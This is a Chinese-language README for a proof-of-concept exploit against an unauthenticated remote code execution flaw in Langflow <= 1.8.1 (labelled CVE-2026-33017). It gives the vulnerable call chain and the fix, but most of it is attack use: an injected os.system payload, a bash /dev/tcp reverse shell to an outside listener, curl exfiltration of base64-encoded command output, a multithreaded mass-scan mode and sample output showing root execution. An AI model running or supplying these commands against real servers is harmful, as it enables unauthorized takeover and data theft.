仅供教育和授权测试使用。
Langflow <= 1.8.1 暴露了一个公共流程构建端点,该端点接受攻击者控制的、包含任意代码的流程数据。此代码被传递给 validate.py 中的 prepare_global_scope(),后者在无沙箱的情况下调用 exec(),从而可导致未认证的远程代码执行,并拥有服务器进程权限。
| 包名 | 受影响版本 | 已修复版本 |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
build_public_tmp 端点本身不要求认证——它旨在允许任何人执行已存储的公共流程。缺陷在于该端点还接受一个可选的 data 参数,其中包含攻击者控制的流程定义。因此,未认证用户可提交任意节点代码,服务器将其视为合法的流程图,并在未经验证的情况下直接传递给代码执行例程。
修复方法很简单:移除 data 参数,并强制该端点仅调用 build_graph_from_db(),使公共流程只执行已存储的数据,绝不执行攻击者提供的代码。
攻击者的载荷在到达执行点之前会经过以下调用链:
validate.py 中的 prepare_global_scope() 在图编译期间处理 ast.Assign 节点——这是在调用任何流程方法之前。因此,注入代码中的顶层赋值会立即执行:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
输出会进入服务器的 stdout,而不是 HTTP 响应。数据外泄需要出站回调(反向 shell、curl webhook)。
| 端点 | 认证 | 攻击向量 |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | 无 | 远程,未认证 |
| 场景 | 要求 |
|---|---|
| A — 已启用 AUTO_LOGIN | AUTO_LOGIN=true:匿名获取 JWT 令牌,创建 PUBLIC 流程,进行利用 |
| B — 已知公共流程 | 已知共享/公共流程的 UUID:直接利用,无需认证 |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
重要提示: 该 PoC 在模块级使用
os.system()—— 命令会在服务器上执行,但其输出会进入服务器的 stdout,而不是返回 HTTP 响应。PoC 仅确认执行已发生([+] VULNERABLE)。要实际接收命令输出,请使用下面的数据外泄方法之一。
盲确认(验证 RCE 但不捕获输出)
python3 poc.py --url http://target:7860 --cmd "id"
反向 shell —— 配合本地监听器
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
通过 HTTP 回调进行 OOB 外泄 —— 配合本地服务器
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
使用已知公共流程 UUID(无需创建流程)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
从文件进行批量扫描
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
PoC 确认执行已发生。[+] VULNERABLE 表示构建成功且注入的代码已运行——但这不表示输出已被捕获。
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
本地 HTTP 服务器收到的输出:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
/api/v1/validate/code 上类似的 exec() 问题| 步骤 | 文件 | 详情 |
|---|
| 1 | chat.py:580 | build_public_tmp 在请求体中接收攻击者数据 |
| 2 | build.py:81 | start_flow_build() 转发不可信的载荷 |
| 3 | build.py:298 | build_graph_from_data() 将其传递给图构建 |
| 4 | base.py:1168 | Graph.from_payload() 反序列化攻击者提供的节点定义 |
| 5 | base.py:1323 | 为每个节点调用 instantiate_component() |
| 6 | loading.py:43 | 从自定义组件参数中提取 code 字段 |
| 7 | eval.py:9 | create_class() 接收原始攻击者代码 |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — 无沙箱 |
| 标志 | 默认值 | 描述 |
|---|
--url | — | 单个目标的 Langflow URL |
--url-file | — | 文本文件,每行一个 URL(批量扫描) |
--cmd | id | 要在目标上执行的操作系统命令 |
--flow-id | — | 现有公共流程的 UUID(跳过流程创建) |
--threads | 5 | 批量模式下的并行线程数 |
--timeout | 15 | HTTP 请求超时时间(秒) |
--no-cleanup | false | 利用后保留所创建的流程 |